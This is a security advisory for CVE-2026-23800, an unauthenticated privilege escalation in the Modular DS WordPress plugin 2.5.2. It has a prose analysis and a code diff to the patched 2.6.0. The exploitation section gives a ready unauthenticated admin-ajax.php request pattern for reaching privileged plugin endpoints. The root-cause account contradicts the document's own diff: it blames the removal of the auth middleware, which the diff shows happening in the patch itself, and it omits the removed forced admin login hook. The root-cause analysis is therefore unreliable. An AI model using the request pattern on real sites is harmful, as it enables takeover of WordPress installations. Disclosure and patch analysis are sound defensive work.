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Published : March 18, 2026

CVE-2026-23800: Modular DS 2.5.2 – Unauthenticated Privilege Escalation (modular-connector)

CVE ID CVE-2026-23800
Plugin modular-connector
Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 2.5.2
Patched Version 2.6.0
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-23800:
The Modular DS WordPress plugin version 2.5.2 contained a critical authentication bypass in its API routing system. This vulnerability allowed unauthenticated attackers to directly access administrative endpoints, leading to privilege escalation to administrator level. The flaw resided in the plugin’s custom request handling and authentication middleware.

Root Cause:
The vulnerability stemmed from the removal of the ‘auth’ route middleware from the application’s HTTP kernel in modular-connector/src/app/Http/Kernel.php. The $routeMiddleware array containing the ‘auth’ => ModularConnectorHttpMiddlewareAuthenticate::class entry was completely deleted. This removal disabled authentication enforcement for routes that previously required it. The modular-connector/src/routes/api.php file shows that routes like ‘/server-information’, ‘/white-label’, ‘/cache/clear’, ‘/tree/database’, and ‘/backup/information’ were originally protected by the Route::middleware(‘auth’) group. After the vulnerability was introduced, these routes became directly accessible without authentication checks.

Exploitation:
Attackers could exploit this by sending GET requests directly to the vulnerable endpoints without any authentication tokens. The primary attack vector was through the plugin’s API routes, which were accessible via WordPress’s standard wp-admin/admin-ajax.php handler or direct REST API calls. An attacker would craft requests to endpoints like /wp-admin/admin-ajax.php?action=modular-connector&type=request&origin=mo&mrid=[ID] targeting administrative functions such as server information retrieval, cache clearing, or backup operations. The exploitation required no special headers or authentication tokens, making it trivial for unauthenticated users to invoke privileged actions.

Patch Analysis:
The patch in version 2.6.0 completely restructured the authentication system. Instead of relying on the removed ‘auth’ middleware, the fix implemented a unified authentication approach through the AuthenticateLoopback middleware. All previously vulnerable routes in modular-connector/src/routes/api.php were updated to include the {modular_request} parameter and use the AuthenticateLoopback::class middleware. The AuthenticateLoopback.php middleware was significantly enhanced with new JWT verification logic using client_secret keys, proper request data validation, and multiple authentication methods including x-mo-authentication headers and sig parameters. The HttpUtils::isDirectRequest() method was also hardened with strict parameter validation to prevent unauthorized request types.

Impact:
Successful exploitation allowed complete administrative privilege escalation within the WordPress installation. Attackers could execute arbitrary administrative actions including retrieving sensitive server information, clearing caches, accessing database structures, obtaining backup information, and potentially modifying site configurations. This level of access could lead to complete site compromise, data exfiltration, backdoor installation, and further lateral movement within the hosting environment.

Differential between vulnerable and patched code

Code Diff 
--- a/modular-connector/init.php
+++ b/modular-connector/init.php
@@ -3,7 +3,7 @@
  * Plugin Name: Modular Connector
  * Plugin URI: https://modulards.com/herramienta-gestion-webs/
  * Description: Connect and manage all your WordPress websites in an easier and more efficient way. Backups, bulk updates, Uptime Monitor, statistics, security, performance, client reports and much more.
- * Version: 2.5.2
+ * Version: 2.6.0
  * License: GPL v3.0
  * License URI: https://www.gnu.org/licenses/gpl.html
  * Requires PHP: 7.4
@@ -20,7 +20,7 @@

 define('MODULAR_CONNECTOR_BASENAME', sprintf('%s/%s', basename(dirname(__FILE__)), basename(__FILE__)));
 define('MODULAR_CONNECTOR_MU_BASENAME', sprintf('0-%s.php', dirname(MODULAR_CONNECTOR_BASENAME)));
-define('MODULAR_CONNECTOR_VERSION', '2.5.2');
+define('MODULAR_CONNECTOR_VERSION', '2.6.0');
 define('MODULAR_ARES_SCHEDULE_HOOK', 'modular_connector_run_schedule');
 define('MODULAR_CONNECTOR_STORAGE_PATH', untrailingslashit(WP_CONTENT_DIR) . DIRECTORY_SEPARATOR . 'modular_storage');
 define('MODULAR_CONNECTOR_BACKUPS_PATH', untrailingslashit(WP_CONTENT_DIR) . DIRECTORY_SEPARATOR . 'modular_backups');
--- a/modular-connector/modular-php/src/ModularClient.php
+++ b/modular-connector/modular-php/src/ModularClient.php
@@ -2,9 +2,9 @@

 namespace ModularSDK;

+use ModularConnectorFacadesServer;
 use ModularConnectorDependenciesCarbonCarbon;
 use ModularConnectorDependenciesGuzzleHttpClient;
-use ModularConnectorFacadesServer;
 use ModularSDKServicesCoreServiceFactory;
 use ModularSDKSupportApiHelper;

--- a/modular-connector/modular-php/src/Objects/BaseObject.php
+++ b/modular-connector/modular-php/src/Objects/BaseObject.php
@@ -10,6 +10,7 @@
 use ModularConnectorDependenciesIlluminateSupportFacadesDate;
 use ModularConnectorDependenciesIlluminateSupportStr;
 use ModularSDKModularClient;
+use function ModularConnectorDependenciescollect;

 class BaseObject extends BaseObjectFactory implements JsonSerializable, ArrayAccess
 {
--- a/modular-connector/modular-php/src/Services/AbstractService.php
+++ b/modular-connector/modular-php/src/Services/AbstractService.php
@@ -4,7 +4,6 @@

 use ModularSDKModularClient;
 use ModularSDKModularClientInterface;
-use ModularSDKObjectsBaseObject;
 use ModularSDKObjectsBaseObjectFactory;

 abstract class AbstractService extends BaseObjectFactory
--- a/modular-connector/src/app/Http/Controllers/BackupController.php
+++ b/modular-connector/src/app/Http/Controllers/BackupController.php
@@ -45,9 +45,10 @@
     }

     /**
+     * @param SiteRequest $modularRequest
      * @return IlluminateHttpJsonResponse
      */
-    public function getDatabaseTree()
+    public function getDatabaseTree(SiteRequest $modularRequest)
     {
         $tree = Manager::driver('database')->tree();

@@ -57,9 +58,10 @@
     /**
      * Returns the backup with the provided $payload name content if existing.
      *
+     * @param SiteRequest $modularRequest
      * @return IlluminateHttpJsonResponse
      */
-    protected function getBackupInformation()
+    protected function getBackupInformation(SiteRequest $modularRequest)
     {
         $information = Backup::information();

--- a/modular-connector/src/app/Http/Controllers/CacheController.php
+++ b/modular-connector/src/app/Http/Controllers/CacheController.php
@@ -5,11 +5,12 @@
 use ModularConnectorCacheJobsCacheClearJob;
 use ModularConnectorDependenciesIlluminateRoutingController;
 use ModularConnectorDependenciesIlluminateSupportFacadesResponse;
+use ModularSDKObjectsSiteRequest;
 use function ModularConnectorDependenciesdispatch;

 class CacheController extends Controller
 {
-    public function clear()
+    public function clear(SiteRequest $modularRequest)
     {
         dispatch(new CacheClearJob());

--- a/modular-connector/src/app/Http/Controllers/ServerController.php
+++ b/modular-connector/src/app/Http/Controllers/ServerController.php
@@ -19,9 +19,10 @@
 class ServerController extends Controller
 {
     /**
+     * @param SiteRequest $modularRequest
      * @return IlluminateHttpJsonResponse
      */
-    public function getInformation()
+    public function getInformation(SiteRequest $modularRequest)
     {
         $information = Server::information();

@@ -56,9 +57,10 @@
     }

     /**
+     * @param SiteRequest $modularRequest
      * @return IlluminateHttpJsonResponse
      */
-    public function getWhiteLabel()
+    public function getWhiteLabel(SiteRequest $modularRequest)
     {
         dispatch(fn() => WhiteLabel::forget());

--- a/modular-connector/src/app/Http/Kernel.php
+++ b/modular-connector/src/app/Http/Kernel.php
@@ -22,17 +22,6 @@
     ];

     /**
-     * The application's route middleware.
-     *
-     * These middleware may be assigned to groups or used individually.
-     *
-     * @var array
-     */
-    protected $routeMiddleware = [
-        'auth' => ModularConnectorHttpMiddlewareAuthenticate::class,
-    ];
-
-    /**
      * @param Schedule $schedule
      * @return void
      * @throws IlluminateContractsContainerBindingResolutionException
--- a/modular-connector/src/app/Http/Middleware/Authenticate.php
+++ b/modular-connector/src/app/Http/Middleware/Authenticate.php
@@ -1,79 +0,0 @@
-<?php
-
-namespace ModularConnectorHttpMiddleware;
-
-use ModularConnectorDependenciesIlluminateContractsAuthFactory as Auth;
-use ModularConnectorDependenciesIlluminateContractsAuthMiddlewareAuthenticatesRequests;
-use ModularConnectorDependenciesIlluminateHttpRequest;
-
-class Authenticate implements AuthenticatesRequests
-{
-    /**
-     * The authentication factory instance.
-     *
-     * @var IlluminateContractsAuthFactory
-     */
-    protected $auth;
-
-    /**
-     * Create a new middleware instance.
-     *
-     * @param IlluminateContractsAuthFactory $auth
-     * @return void
-     */
-    public function __construct(Auth $auth)
-    {
-        $this->auth = $auth;
-    }
-
-    /**
-     * Specify the guards for the middleware.
-     *
-     * @param string $guard
-     * @param string $others
-     * @return string
-     */
-    public static function using($guard, ...$others)
-    {
-        return static::class . ':' . implode(',', [$guard, ...$others]);
-    }
-
-    /**
-     * Handle an incoming request.
-     *
-     * @param Request $request
-     * @param Closure $next
-     * @param mixed ...$guards
-     * @return mixed
-     */
-    public function handle($request, Closure $next, ...$guards)
-    {
-        $this->authenticate($request, $guards);
-
-        return $next($request);
-    }
-
-    /**
-     * Determine if the user is logged in to any of the given guards.
-     *
-     * @param IlluminateHttpRequest $request
-     * @param array $guards
-     * @return void
-     *
-     * @throws IlluminateAuthAuthenticationException
-     */
-    protected function authenticate($request, array $guards)
-    {
-        if (empty($guards)) {
-            $guards = [null];
-        }
-
-        foreach ($guards as $guard) {
-            if ($this->auth->guard($guard)->check()) {
-                return $this->auth->shouldUse($guard);
-            }
-        }
-
-        abort(401);
-    }
-}
--- a/modular-connector/src/app/Http/Middleware/AuthenticateLoopback.php
+++ b/modular-connector/src/app/Http/Middleware/AuthenticateLoopback.php
@@ -2,10 +2,10 @@

 namespace ModularConnectorHttpMiddleware;

+use ModularConnectorHelperOauthClient;
 use ModularConnectorDependenciesAresFrameworkFoundationAuthJWT;
 use ModularConnectorDependenciesIlluminateHttpRequest;
 use ModularConnectorDependenciesIlluminateSupportFacadesLog;
-use ModularConnectorDependenciesIlluminateSupportFacadesResponse;
 use function ModularConnectorDependenciesabort;
 use function ModularConnectorDependenciesapp;

@@ -24,7 +24,22 @@
     {
         $action = app()->getScheduleHook();

-        if ($request->hasHeader('Authentication')) {
+        // Check for x-mo-Authentication header or sig parameter (API authentication with client_secret)
+        if ($request->hasHeader('x-mo-authentication') || $request->has('sig')) {
+            $token = $request->hasHeader('x-mo-authentication')
+                ? $request->header('x-mo-authentication', '')
+                : $request->get('sig');
+
+            $source = $request->hasHeader('x-mo-authentication') ? 'header' : 'parameter';
+
+            // Verify JWT with client_secret
+            if (!$this->verifyApiAuthentication($request, $token, $source)) {
+                abort(404);
+            }
+
+            Log::debug("API authentication verified successfully via {$source}");
+        } elseif ($request->hasHeader('Authentication')) {
+            // Legacy Authentication header (uses default hashing key)
             $authHeader = $request->header('Authentication', '');

             if (!JWT::verify($authHeader, $action)) {
@@ -33,9 +48,10 @@
                     'header' => $authHeader,
                 ]);

-                abort(Response::json(['error' => sprintf('Invalid JWT for %s', $action)], 403));
+                abort(404);
             }
         } else {
+            // Fallback to nonce validation
             $isValid = check_ajax_referer($action, 'nonce', false);

             if (!$isValid) {
@@ -44,10 +60,190 @@
                     'nonce' => $request->input('nonce'),
                 ]);

-                abort(Response::json(['error' => sprintf('Invalid NONCE for %s', $action)], 403));
+                abort(404);
             }
         }

+        Log::debug('Valid authentication for loopback request');
+
         return $next($request);
     }
+
+    /**
+     * Verify API authentication with client_secret.
+     *
+     * @param Request $request
+     * @param string $token JWT token from header or parameter
+     * @param string $source 'header' or 'parameter'
+     * @return bool
+     */
+    private function verifyApiAuthentication($request, $token, $source)
+    {
+        // Verify token is not empty
+        if (empty($token)) {
+            Log::debug("API auth ({$source}): Token is empty");
+            return false;
+        }
+
+        // Get client_secret from OAuth client
+        $clientSecret = OauthClient::getClient()->getClientSecret();
+
+        // If client_secret is empty, authentication is invalid
+        if (empty($clientSecret)) {
+            Log::debug("API auth ({$source}): client_secret is empty");
+            return false;
+        }
+
+        // Get request data based on route
+        $requestData = $this->getRequestData($request);
+
+        if ($requestData === null) {
+            Log::debug("API auth ({$source}): Unable to get request data");
+            return false;
+        }
+
+        // Verify JWT using client_secret with request data
+        if (!$this->verifyJwtWithData($token, $clientSecret, $requestData)) {
+            Log::debug("API auth ({$source}): Invalid JWT");
+            return false;
+        }
+
+        return true;
+    }
+
+    /**
+     * Get request data based on current route.
+     *
+     * @param Request $request
+     * @return object|array|null
+     */
+    private function getRequestData($request)
+    {
+        $routeName = $request->route()->getName();
+
+        // Special handling for OAuth route
+        if ($routeName === 'modular-connector.oauth') {
+            return (object)[
+                'code' => $request->get('code'),
+                'state' => $request->get('state'),
+            ];
+        }
+        // For other routes, get modularRequest from cache
+        $modularRequest = $request->route()->parameter('modular_request');
+
+        if (!$modularRequest) {
+            Log::debug('x-mo-Authentication: modularRequest not found in cache', [
+                'route' => $routeName,
+            ]);
+            return null;
+        }
+
+        // Validate modularRequest structure
+        $requiredKeys = [
+            'id',
+            'request_id',
+            'type',
+            'body',
+            'site_id',
+            'created_at',
+            'updated_at',
+            'deleted_at',
+            'status',
+            'expired_at',
+        ];
+
+        /**
+         * @var ModularSDKObjectsSiteRequest $modularRequest
+         */
+        foreach ($requiredKeys as $key) {
+            if (!array_key_exists($key, $modularRequest->attributesToArray())) {
+                Log::debug('x-mo-Authentication: modularRequest missing required key', [
+                    'missing_key' => $key,
+                    'route' => $routeName,
+                ]);
+
+                return null;
+            }
+        }
+
+        // Return the entire modularRequest object for hashing
+        return $modularRequest;
+    }
+
+    /**
+     * Verify JWT signature and integrity.
+     *
+     * Decodes the JWT, regenerates the signature with the same payload and client_secret,
+     * and compares. If signatures match, the JWT is authentic and unmodified.
+     *
+     * @param string $token
+     * @param string $clientSecret
+     * @param object|array $requestData
+     * @return bool
+     */
+    private function verifyJwtWithData($token, $clientSecret, $requestData)
+    {
+        // Remove Bearer prefix
+        $token = str_replace('Bearer ', '', $token);
+        $jwtParts = explode('.', $token);
+
+        if (count($jwtParts) !== 3) {
+            Log::debug('x-mo-Authentication: Invalid JWT structure');
+            return false;
+        }
+
+        [$base64UrlHeader, $base64UrlPayload, $base64UrlSignature] = $jwtParts;
+
+        // Decode header and payload to inspect them
+        $header = json_decode(JWT::base64UrlDecode($base64UrlHeader));
+        $payload = json_decode(JWT::base64UrlDecode($base64UrlPayload));
+
+        if (!$header || !$payload) {
+            Log::debug('x-mo-Authentication: Failed to decode JWT', [
+                'header_valid' => is_object($header),
+                'payload_valid' => is_object($payload),
+            ]);
+            return false;
+        }
+
+        Log::debug('x-mo-Authentication: JWT payload decoded', [
+            'client_id' => $payload->client_id ?? null,
+            'exp' => $payload->exp ?? null,
+            'iat' => $payload->iat ?? null,
+        ]);
+
+        // Regenerate signature with the exact same payload
+        // If this matches the received signature, the payload is authentic and unmodified
+        $signatureInput = "$base64UrlHeader.$base64UrlPayload";
+        $expectedSignature = hash_hmac('sha256', $signatureInput, $clientSecret, true);
+        $receivedSignature = JWT::base64UrlDecode($base64UrlSignature);
+
+        if (!hash_equals($expectedSignature, $receivedSignature)) {
+            Log::debug('x-mo-Authentication: JWT signature mismatch - token tampered or wrong secret');
+            return false;
+        }
+
+        Log::debug('x-mo-Authentication: JWT signature valid');
+
+        // Verify expiration
+        $currentTime = time();
+        if ($currentTime > ($payload->exp ?? 0)) {
+            Log::debug('x-mo-Authentication: JWT expired', [
+                'exp' => $payload->exp,
+                'now' => $currentTime,
+            ]);
+            return false;
+        }
+
+        // Verify issued at
+        if ($currentTime < ($payload->iat ?? 0)) {
+            Log::debug('x-mo-Authentication: JWT not yet valid', [
+                'iat' => $payload->iat,
+                'now' => $currentTime,
+            ]);
+            return false;
+        }
+
+        return true;
+    }
 }
--- a/modular-connector/src/app/Providers/RouteServiceProvider.php
+++ b/modular-connector/src/app/Providers/RouteServiceProvider.php
@@ -93,11 +93,7 @@
             $route = $route->bind($request);

             if ($removeQuery) {
-                $params = $route->parameterNames();
-
-                if (in_array('modular_request', $params)) {
-                    $route->setParameter('modular_request', $modularRequest);
-                }
+                $route->setParameter('modular_request', $modularRequest);
             }
         } else if ($type === 'oauth') {
             /**
--- a/modular-connector/src/routes/api.php
+++ b/modular-connector/src/routes/api.php
@@ -13,13 +13,14 @@
 use function ModularConnectorDependenciesabort;

 Route::get('/oauth', [AuthController::class, 'postConfirmOauth'])
+    ->middleware(AuthenticateLoopback::class)
     ->name('modular-connector.oauth');

 Route::get('/schedule/run', [ServerController::class, 'getLoopback'])
     ->middleware(AuthenticateLoopback::class)
     ->name('schedule.run');

-Route::middleware('auth')
+Route::middleware(AuthenticateLoopback::class)
     ->group(function () {
         Route::get('/login/{modular_request}', [AuthController::class, 'getLogin'])
             ->name('login');
@@ -27,13 +28,13 @@
         Route::get('/users/{modular_request}', [AuthController::class, 'getUsers'])
             ->name('manager.users.index');

-        Route::get('/server-information', [ServerController::class, 'getInformation'])
+        Route::get('/server-information/{modular_request}', [ServerController::class, 'getInformation'])
             ->name('manager.server.information');

         Route::get('/server-health/{modular_request}', [ServerController::class, 'getHealth'])
             ->name('manager.server.health');

-        Route::get('/white-label', [ServerController::class, 'getWhiteLabel'])
+        Route::get('/white-label/{modular_request}', [ServerController::class, 'getWhiteLabel'])
             ->name('manager.whiteLabel.update');

         Route::get('/manager/maintenance/{modular_request}', [ServerController::class, 'maintenance'])
@@ -48,7 +49,7 @@
         #endregion

         #region Cache
-        Route::get('/cache/clear', [CacheController::class, 'clear'])
+        Route::get('/cache/clear/{modular_request}', [CacheController::class, 'clear'])
             ->name('manager.cache.clear');
         #endregion

@@ -91,10 +92,10 @@
         Route::get('/tree/directory/{modular_request}', [BackupController::class, 'getDirectoryTree'])
             ->name('manager.directory.tree');

-        Route::get('/tree/database', [BackupController::class, 'getDatabaseTree'])
+        Route::get('/tree/database/{modular_request}', [BackupController::class, 'getDatabaseTree'])
             ->name('manager.database.tree');

-        Route::get('/backup/information', [BackupController::class, 'getBackupInformation'])
+        Route::get('/backup/information/{modular_request}', [BackupController::class, 'getBackupInformation'])
             ->name('manager.backup.information');

         Route::get('/backup/{modular_request}', [BackupController::class, 'store'])
@@ -108,6 +109,6 @@
             ->name('manager.woocommerce.stats');
     });

-Route::get('default/{request}', function () {
+Route::get('default/{modular_request}', function () {
     abort(404);
 })->name('default');
--- a/modular-connector/vendor/ares/framework/src/Foundation/Auth/JWT.php
+++ b/modular-connector/vendor/ares/framework/src/Foundation/Auth/JWT.php
@@ -115,6 +115,65 @@
         return $action === ModularConnectorDependenciesdata_get($payload, 'action', '');
     }
     /**
+     * Verify the validity of a JWT token with a custom key.
+     * Used for API authentication with client_secret.
+     *
+     * @param string $token The JWT token to verify.
+     * @param string $key The secret key to use for verification.
+     * @param string|null $expectedAction Optional action to verify in payload.
+     *
+     * @return bool `true` if the token is valid. `false` otherwise
+     * @throws Exception
+     */
+    public static function verifyWithKey($token, $key, $expectedAction = null)
+    {
+        if (!$token) {
+            return false;
+        }
+        // Remove Bearer prefix if present
+        if (Str::contains($token, 'Bearer')) {
+            $token = Str::replace('Bearer ', '', $token);
+        }
+        try {
+            $jwtParts = self::explodeToken($token);
+            $header = json_decode(base64_decode($jwtParts[0]));
+            $payload = json_decode(base64_decode($jwtParts[1]));
+            $signature = self::base64UrlDecode($jwtParts[2]);
+            if (!$header || !$payload) {
+                return false;
+            }
+            // Get algorithm from header
+            $alg = ModularConnectorDependenciesdata_get($header, 'alg');
+            if (!$alg || !isset(self::$SUPPORTED_ALGORITHMS[$alg])) {
+                return false;
+            }
+            // Check signature
+            $base64UrlHeader = $jwtParts[0];
+            $base64UrlPayload = $jwtParts[1];
+            if (!self::verifySignature("{$base64UrlHeader}.{$base64UrlPayload}", $signature, $key, $alg)) {
+                return false;
+            }
+            $currentTime = Carbon::now()->timestamp;
+            // Check expiration
+            $exp = ModularConnectorDependenciesdata_get($payload, 'exp', 0);
+            if ($exp && $currentTime > $exp) {
+                return false;
+            }
+            // Check issued at (not before)
+            $iat = ModularConnectorDependenciesdata_get($payload, 'iat', 0);
+            if ($iat && $currentTime < $iat) {
+                return false;
+            }
+            // Check action if provided
+            if ($expectedAction !== null) {
+                return $expectedAction === ModularConnectorDependenciesdata_get($payload, 'action', '');
+            }
+            return true;
+        } catch (Exception $e) {
+            return false;
+        }
+    }
+    /**
      * Separates into an array the different parts of a given JWT token
      *
      * @param string $token The token to explode.
@@ -137,7 +196,7 @@
      *
      * @return string       The decoded string
      */
-    private static function base64UrlDecode($input)
+    public static function base64UrlDecode($input)
     {
         $remainder = strlen($input) % 4;
         if ($remainder) {
--- a/modular-connector/vendor/ares/framework/src/Foundation/Bootloader.php
+++ b/modular-connector/vendor/ares/framework/src/Foundation/Bootloader.php
@@ -188,7 +188,6 @@
         add_action('plugins_loaded', function () use ($kernel, $request) {
             try {
                 // First, we need to search for the route to confirm if it exists and check if the modular request is valid.
-                $routes = $this->app->make('router')->getRoutes();
                 $route = apply_filters('ares/routes/match', false);
                 if (HttpUtils::isDirectRequest()) {
                     if ($route->getName() === 'wordpress') {
--- a/modular-connector/vendor/ares/framework/src/Foundation/Http/HttpUtils.php
+++ b/modular-connector/vendor/ares/framework/src/Foundation/Http/HttpUtils.php
@@ -64,17 +64,79 @@
     public static function isDirectRequest(): bool
     {
         $request = ModularConnectorDependenciesapp('request');
-        $userAgent = $request->header('User-Agent');
-        $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
+        // Validate that the request method is GET
+        if (!$request->isMethod('GET')) {
+            return false;
+        }
         $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
-        $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
+        if (!$originQuery) {
+            return false;
+        }
+        $isFromQuery = $originQuery && $request->has('type');
         // When is wp-load.php request
         if ($isFromQuery) {
-            return true;
-        }
-        // TODO Now we use Laravel routes but we can't directly use the routes
-        $isFromSegment = false && $request->segment(1) === 'api' && $request->segment(2) === 'modular-connector';
-        if ($isFromSegment) {
+            // Validate allowed parameters based on type
+            $type = $request->get('type');
+            $origin = $request->get('origin');
+            $allParams = array_keys($request->query->all());
+            // Validate that type only contains allowed values
+            $allowedTypes = ['lb', 'request', 'oauth'];
+            if (!in_array($type, $allowedTypes, true)) {
+                return false;
+            }
+            // Validate that origin is exactly 'mo'
+            if ($origin !== 'mo') {
+                return false;
+            }
+            switch ($type) {
+                case 'request':
+                    $allowedParams = ['origin', 'type', 'mrid', 'sig'];
+                    break;
+                case 'lb':
+                    $allowedParams = ['origin', 'type', 'nonce'];
+                    break;
+                case 'oauth':
+                    $allowedParams = ['origin', 'code', 'type', 'state'];
+                    break;
+                default:
+                    return false;
+            }
+            // Check if all parameters are allowed
+            foreach ($allParams as $param) {
+                if (!in_array($param, $allowedParams, true)) {
+                    return false;
+                }
+            }
+            // Validate that parameters are not empty (except state)
+            foreach ($allParams as $param) {
+                if ($param === 'state') {
+                    continue;
+                }
+                $value = $request->get($param);
+                if ($value === null || $value === '') {
+                    return false;
+                }
+            }
+            // Validate that sig parameter and x-mo-Authentication header are mutually exclusive
+            $hasSigParam = $request->has('sig');
+            $hasAuthHeader = $request->hasHeader('x-mo-authentication');
+            if ($hasSigParam && $hasAuthHeader) {
+                return false;
+            }
+            // Validate required headers for oauth type
+            if ($type === 'oauth') {
+                if (!$request->hasHeader('x-mo-authentication')) {
+                    return false;
+                }
+            }
+            // Validate required header or parameter for lb type
+            if ($type === 'lb') {
+                $hasAuthHeader = $request->hasHeader('Authentication');
+                $hasNonceParam = $request->has('nonce');
+                if (!$hasAuthHeader && !$hasNonceParam) {
+                    return false;
+                }
+            }
             return true;
         }
         return false;
--- a/modular-connector/vendor/ares/framework/src/Foundation/ScreenSimulation.php
+++ b/modular-connector/vendor/ares/framework/src/Foundation/ScreenSimulation.php
@@ -105,11 +105,6 @@
             $GLOBALS['hook_suffix'] = '';
         }
         $this->forceCompability();
-        // Force login as admin.
-        add_action('plugins_loaded', function () {
-            // Many premium plugins require the user to be logged in as an admin to detect the license.
-            ServerSetup::loginAs();
-        }, 1);
         if (HttpUtils::isMuPlugin()) {
             $this->loadAdmin();
         }
--- a/modular-connector/vendor/composer/autoload_classmap.php
+++ b/modular-connector/vendor/composer/autoload_classmap.php
@@ -2271,7 +2271,6 @@
     'Modular\Connector\Http\Controllers\ServerController' => $baseDir . '/src/app/Http/Controllers/ServerController.php',
     'Modular\Connector\Http\Controllers\WooCommerceController' => $baseDir . '/src/app/Http/Controllers/WooCommerceController.php',
     'Modular\Connector\Http\Kernel' => $baseDir . '/src/app/Http/Kernel.php',
-    'Modular\Connector\Http\Middleware\Authenticate' => $baseDir . '/src/app/Http/Middleware/Authenticate.php',
     'Modular\Connector\Http\Middleware\AuthenticateLoopback' => $baseDir . '/src/app/Http/Middleware/AuthenticateLoopback.php',
     'Modular\Connector\Jobs\ConfigureDriversJob' => $baseDir . '/src/app/Jobs/ConfigureDriversJob.php',
     'Modular\Connector\Jobs\Health\ManagerHealthDataJob' => $baseDir . '/src/app/Jobs/Health/ManagerHealthDataJob.php',
--- a/modular-connector/vendor/composer/autoload_files.php
+++ b/modular-connector/vendor/composer/autoload_files.php
@@ -6,25 +6,25 @@
 $baseDir = dirname($vendorDir);

 return array(
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-    '57776b6b937d151aa09700e58bc43ff7' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php',
-    '47362306d406d3d5f750b39a76472c36' => $vendorDir . '/symfony/deprecation-contracts/function.php',
-    '5ae20ab1b22decfcdf1ec8cf5cb0c6df' => $vendorDir . '/illuminate/collections/helpers.php',
-    '5b0ac2d5c681c57f19727b3f84f240f6' => $vendorDir . '/symfony/translation/Resources/functions.php',
-    '6ecf50c74684d51e775de2f58a75568d' => $vendorDir . '/illuminate/support/helpers.php',
-    'd7477911cd049bbd22fc06886adcd76a' => $vendorDir . '/symfony/polyfill-ctype/bootstrap.php',
-    'da3333cb928bd72afb37c8655e4b0dc4' => $vendorDir . '/symfony/polyfill-php73/bootstrap.php',
-    'be46ff9416c6039edf2c9e9d0f073bc7' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php',
-    'cd924b8b8867bdf5cb30ea3d1fda7877' => $vendorDir . '/symfony/var-dumper/Resources/functions/dump.php',
-    '96e6be4dee482c433db35007e272ccb1' => $vendorDir . '/symfony/polyfill-intl-grapheme/bootstrap.php',
-    'e6d623430cf9dfede21ce0afb13fc0d5' => $vendorDir . '/symfony/string/Resources/functions.php',
-    '6595570c01f6b61275f965dd5f61dc9e' => $vendorDir . '/symfony/polyfill-intl-idn/bootstrap.php',
-    '5b10ea17a66c57c2dec9163991a14bfe' => $vendorDir . '/symfony/polyfill-php81/bootstrap.php',
-    'e9263394afb0f5bb487acaa8ed5a379c' => $vendorDir . '/illuminate/events/functions.php',
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-    'dcf98500ad62a9796e6d807dd200c4ad' => $vendorDir . '/ramsey/uuid/src/functions.php',
-    'f0a9f602b56a7514b8a4ae31dad26396' => $vendorDir . '/ares/framework/src/helpers.php',
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-    '39aca1ab5f5b45f7014527f1ffae03c8' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php',
+    'be0e863a0b7d410051e3679684b89d05' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php',
+    'cdccba37285717201be0cda22130b7c1' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php',
+    '4da8a5f965edcd26473fcbf2be82d7d7' => $vendorDir . '/symfony/deprecation-contracts/function.php',
+    '5d7599fb41d4880e3bb858d832901e9a' => $vendorDir . '/illuminate/collections/helpers.php',
+    '91ee1bbb29b3989967f6f8639a6d635d' => $vendorDir . '/symfony/translation/Resources/functions.php',
+    'b72b50162266450392ddd5c515a75818' => $vendorDir . '/illuminate/support/helpers.php',
+    '9f49441cfe0691e56c9c67bd097c4350' => $vendorDir . '/symfony/polyfill-ctype/bootstrap.php',
+    '2754c0fa2f40527b67501543ab0dae51' => $vendorDir . '/symfony/polyfill-php73/bootstrap.php',
+    '67396cf9772d27504ccab5def06d1e52' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php',
+    '49299b7cf704dda84b41286413c4d7e4' => $vendorDir . '/symfony/var-dumper/Resources/functions/dump.php',
+    '36a37457274e471b69dac0ebf51b90b3' => $vendorDir . '/symfony/polyfill-intl-grapheme/bootstrap.php',
+    'e121a84a0c75bdd4c6e143812fa796a1' => $vendorDir . '/symfony/string/Resources/functions.php',
+    'f758949f401dc2a1f6a702b8afe6dfe4' => $vendorDir . '/symfony/polyfill-intl-idn/bootstrap.php',
+    '4b27ba2df9dd92700018e46af777f34f' => $vendorDir . '/symfony/polyfill-php81/bootstrap.php',
+    '5004fdd59b9e9307e6cd434a40d345f8' => $vendorDir . '/illuminate/events/functions.php',
+    '92149af1b8cbd5859e99da0ff318c72f' => $vendorDir . '/opis/closure/functions.php',
+    '929e580c79e3d98067c7165de1418f14' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php',
+    '2720919b2893441fad9f879d73593754' => $vendorDir . '/ramsey/uuid/src/functions.php',
+    'c0255d9fc9194fa59c7865314fa4fccd' => $vendorDir . '/ares/framework/src/helpers.php',
+    'abffc1041942c7350c813eb59081cf24' => $vendorDir . '/ares/framework/illuminate/Foundation/helpers.php',
+    '7cb02eee968935cda8344cc3dbfa9620' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php',
 );
--- a/modular-connector/vendor/composer/autoload_static.php
+++ b/modular-connector/vendor/composer/autoload_static.php
@@ -7,27 +7,27 @@
 class ComposerStaticInit20dc4b5b6916718faedab6064b350e72
 {
     public static $files = array (
-        '3be3930930d4833e9170bb96a98017ed' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php',
-        '57776b6b937d151aa09700e58bc43ff7' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php',
-        '47362306d406d3d5f750b39a76472c36' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php',
-        '5ae20ab1b22decfcdf1ec8cf5cb0c6df' => __DIR__ . '/..' . '/illuminate/collections/helpers.php',
-        '5b0ac2d5c681c57f19727b3f84f240f6' => __DIR__ . '/..' . '/symfony/translation/Resources/functions.php',
-        '6ecf50c74684d51e775de2f58a75568d' => __DIR__ . '/..' . '/illuminate/support/helpers.php',
-        'd7477911cd049bbd22fc06886adcd76a' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php',
-        'da3333cb928bd72afb37c8655e4b0dc4' => __DIR__ . '/..' . '/symfony/polyfill-php73/bootstrap.php',
